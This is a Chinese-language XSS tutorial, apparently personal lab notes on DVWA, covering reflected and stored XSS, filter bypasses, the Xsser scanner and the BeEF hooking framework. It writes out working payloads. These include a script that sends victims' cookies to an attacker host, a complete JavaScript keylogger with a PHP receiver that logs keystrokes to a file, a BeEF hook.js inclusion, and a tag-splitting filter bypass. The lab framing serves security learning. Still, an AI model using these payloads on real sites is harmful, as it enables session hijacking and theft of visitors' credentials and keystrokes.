XSS漏洞
XSS-跨站脚本攻击
- 是注入型的漏洞,利用提交数据时提交恶意的脚本代码到访问的页面,使页面识别代码并执行。
- 服务器对用户提交的数据过过滤不严格
- 提交到服务器脚本被直接返回客户端执行
- 脚本在客户端执行恶意操作
- 三种类型:
* (存储型xss)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
* (反射型xss)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
* DOM跨站(DOM XSS): - Chrome和Safari有xss Auditor,在浏览器层面就直接拦截恶意的脚本执行什么<script>,<ifame>,onclick属性都过滤。基本上我这种小白是绕不去了。可以在谷歌运行方式的属性后面加上
--args --disable-xss-auditor
关闭这个功能,或者直接用火狐浏览器。chrome的xss检测名称为 xssAuditor 整合到webkit当中,chrome这么做的原因是因为过滤器可以在脚本执行之前就可以拦截,而且任何使用webkit都可以使用这些规则
当加载网页时,xssAuditor会在渲染的之前评估用户的输入数据:
1.检查用户输入是否包含恶意内容,如果存在进行拦截
2.xssAuditor检测用户是否会反射到渲染的页面中(html实体/html熟悉/javascript/css/url)
3.评估输入上下文是否合法,非法进行过滤
Reflected(反射型)
1.(low安全级别)
-
当输入1的时候,内容被直接返回,这里就有可能存在xss漏洞。
-
当在提交的数据里面输入
<script>alert('xss')</script>
时,提交的代码被执行了,出现弹窗,即存在xss漏洞。 -
可以使用<a>标签的onclick属性来实现点击后出现弹窗
<a href='' onclick=alert('xss')>click</a>
-
使用<img>标签的错误信息来<img src=http://1.1.1.1/a.jpg οnerrοr=alert(‘图片加载错误’)>实现弹窗
-
页面重定向,使用nc监听80端口,使用下面脚本
<script>window.location='http://172.20.10.13/'</script>
,发现主机被访问过 -
是<ifame>可以达到相同的效果`
-
使用document.cookie可以获取客户端的cookie
<script>new+Image().src="http://172.20.10.13/c.php?output="+document.cookie;
-
在客户端的篡改页面:
<script>document.body.innerHTML="<div style=><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
-
窃取cookie:使用
<script src=http://1.1.1.1/a.js></script>
让客户端访问第三方的a.js文件。a.js内容如下:var img = new Image(); img.src = "http://1.1.1.2:81/cookies.php?cookie="+document.cookie;
。客户端会将a.js中的内容执行将cookie合并到url中去访问攻击者的主机。
*我们在window主机上输入<script src=http://1.1.1.1/a.js></script>
使主机去访问kali上的a.js文件,window主机就会将cookie发送给kali。kali监听81端口(a.js可以放在一台肉机上只要里面的地址指向kali就行) -
键盘记录器keylogger.js。将键盘输入的内容发送到192.168.1.1/keylogger.php下,php再将键盘记录到keylog.txt下。
keylogger.js: document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key) ; http.open("POST","http://192.168.1.1/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }
keylogger.php <?php • $key=$_POST['key']; $logfile="keylog.txt"; $fp = fopen($logfile, "a"); fwrite($fp, $key); fclose($fp); ?>
keylog.txt内容为空
页面输入xss漏洞,内容<script src=http://172.20.10.13/keylogger.js></script>
,然后随意敲击键盘,查看keylog.txt
2.Xsser自动化工具
- Xsser有图形化界面,也可以使用命令行。看个人选择
xsser -u “http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" -cookie="security=low; PHPSESSID=e63b1e5e9f6a0d69f25d86184ba16966" -s -v --reverse-check
* 需要将参数部分分开,写出提交方式-g get方式,-p post方式
* -s 统计尝试次数,-v显示详细信息
* --reverse-check 尝试提交一个真正的建立网络连接的脚本,而不是提交一个随机的hash值- 但是我的kali上不知道什么原因,手动已经检测到xss漏洞的页面但是xsser一直无法探测到xss漏洞,重装xsser也无效(网上也没有查到解决办法)
3.(其他安全级别)
- 中安全级别输入的时候不对数据进行过滤,但是输出将<script>t替换为空格‘’
- 可以使用<scr<script>ipt>进行绕过过滤,或者使用onclick等其他属性
- 高安全级别
- 使用htmlspeacalchar()函数将"<",">",":","“等在HTML页面中具有特殊意义的符号过滤。难以绕过过滤。将”<“使用
<
代替”>"使用>
代替
存储型xss
- 在评论,留言板等地方可能存在。时间久,更加方便,只需要被害者打开网站就可以直接执行,不太需要社会工程学。
- 在low安全级别下的dvwa里提交表单里面name栏提交
<script>alert('xss')</script>
后,脚本被执行。因为代码被写入数据库所以是存储型的xss漏洞,只要每次页面被刷新,脚本都会被执行。
message同样存在漏洞 - 同样去访问第三方网站下的a.js,js会执行将cookie发送给攻击者的主机,攻击者只需要监听规定的端口
执行之后,攻击者接受到cookie
BEEF浏览器漏洞利用框架
- kali打开beef xss framework
- 在可以进行xss漏洞攻击的地方提交代码
<script src="http://172.20.10.13:3000/hook.js"></script>
。在http://127.0.0.1:3000/ui/panel
页面可以看到被hook的页面上线 - 基本可以控制这个客户端页面,可以使用各种模块,可以不用再编写脚本,直接选择各个模块,就可以得到大部分想要的信息。
- Detail:浏览器信息、插件信息、操作系统信息
- Logs:浏览器客户端页面的动作:鼠标点击信息,键盘键入信息,焦点变化都会直接被记录。
- command:模块命令,可以获取各类详细的信息。
- 这个软件非常适合那些js不厉害的人。